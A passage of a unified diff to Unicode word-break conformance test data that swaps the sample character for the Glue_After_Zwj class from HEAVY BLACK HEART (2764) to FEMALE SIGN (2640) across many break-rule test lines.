 ÷ 005F × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 005F × 00AD ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -737,8 +738,8 @@
 ÷ 1F1E6 × 0308 ÷ 261D ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 1F1E6 ÷ 1F3FB ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1F1E6 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 1F1E6 ÷ 2764 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 2764 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1F1E6 ÷ 2640 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 2640 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1F1E6 ÷ 1F466 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F1E6 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F1E6 × 00AD ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -799,8 +800,8 @@
 ÷ 05D0 × 0308 ÷ 261D ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 05D0 ÷ 1F3FB ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 05D0 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 05D0 ÷ 2764 ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 05D0 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 05D0 ÷ 2640 ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 05D0 × 0308 ÷ 2640 ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 05D0 ÷ 1F466 ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 05D0 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 05D0 × 00AD ÷	#  ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -861,8 +862,8 @@
 ÷ 0022 × 0308 ÷ 261D ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0022 ÷ 1F3FB ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0022 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0022 ÷ 2764 ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0022 × 0308 ÷ 2764 ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0022 ÷ 2640 ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0022 × 0308 ÷ 2640 ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0022 ÷ 1F466 ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0022 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0022 × 00AD ÷	#  ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -923,8 +924,8 @@
 ÷ 0027 × 0308 ÷ 261D ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0027 ÷ 1F3FB ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0027 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0027 ÷ 2764 ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0027 × 0308 ÷ 2764 ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0027 ÷ 2640 ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0027 × 0308 ÷ 2640 ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0027 ÷ 1F466 ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0027 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0027 × 00AD ÷	#  ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -985,8 +986,8 @@
 ÷ 261D × 0308 ÷ 261D ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 261D × 1F3FB ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 261D × 0308 × 1F3FB ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 261D ÷ 2764 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 261D × 0308 ÷ 2764 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 261D ÷ 2640 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 261D × 0308 ÷ 2640 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 261D ÷ 1F466 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 261D × 0308 ÷ 1F466 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 261D × 00AD ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1047,8 +1048,8 @@
 ÷ 1F3FB × 0308 ÷ 261D ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 1F3FB ÷ 1F3FB ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1F3FB × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 1F3FB ÷ 2764 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1F3FB × 0308 ÷ 2764 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1F3FB ÷ 2640 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 2640 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1F3FB ÷ 1F466 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F3FB × 0308 ÷ 1F466 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F3FB × 00AD ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1075,68 +1076,68 @@
 ÷ 1F3FB × 0308 ÷ 0031 ÷ 002C ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
 ÷ 1F3FB ÷ 0031 ÷ 002E × 2060 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
 ÷ 1F3FB × 0308 ÷ 0031 ÷ 002E × 2060 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2764 ÷ 0001 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0001 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 2764 ÷ 000D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 2764 × 0308 ÷ 000D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 2764 ÷ 000A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 2764 × 0308 ÷ 000A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 2764 ÷ 000B ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
-÷ 2764 × 0308 ÷ 000B ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
-÷ 2764 ÷ 3031 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
-÷ 2764 × 0308 ÷ 3031 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
-÷ 2764 ÷ 0041 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0041 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
-÷ 2764 ÷ 003A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 2764 × 0308 ÷ 003A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 2764 ÷ 002C ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 2764 × 0308 ÷ 002C ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 2764 ÷ 002E ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
-÷ 2764 × 0308 ÷ 002E ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
-÷ 2764 ÷ 0030 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0030 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 2764 ÷ 005F ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 2764 × 0308 ÷ 005F ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 2764 ÷ 1F1E6 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1F1E6 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-÷ 2764 ÷ 05D0 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
-÷ 2764 × 0308 ÷ 05D0 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
-÷ 2764 ÷ 0022 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0022 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
-÷ 2764 ÷ 0027 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0027 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 2764 ÷ 261D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
-÷ 2764 × 0308 ÷ 261D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
-÷ 2764 ÷ 1F3FB ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 2764 ÷ 2764 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 2764 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 2764 ÷ 1F466 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
-÷ 2764 × 00AD ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
-÷ 2764 × 0308 × 00AD ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
-÷ 2764 × 0300 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 2764 × 0308 × 0300 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 2764 × 200D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
-÷ 2764 × 0308 × 200D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
-÷ 2764 ÷ 0061 × 2060 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0061 × 2060 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2764 ÷ 0061 ÷ 003A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0061 ÷ 003A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 2764 ÷ 0061 ÷ 0027 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0061 ÷ 0027 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 2764 ÷ 0061 ÷ 0027 × 2060 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2764 ÷ 0061 ÷ 002C ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0061 ÷ 002C ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 2764 ÷ 0031 ÷ 003A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0031 ÷ 003A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 2764 ÷ 0031 ÷ 0027 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0031 ÷ 0027 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 2764 ÷ 0031 ÷ 002C ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0031 ÷ 002C ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 2764 ÷ 0031 ÷ 002E × 2060 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0031 ÷ 002E × 2060 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 ÷ 0001 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0001 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
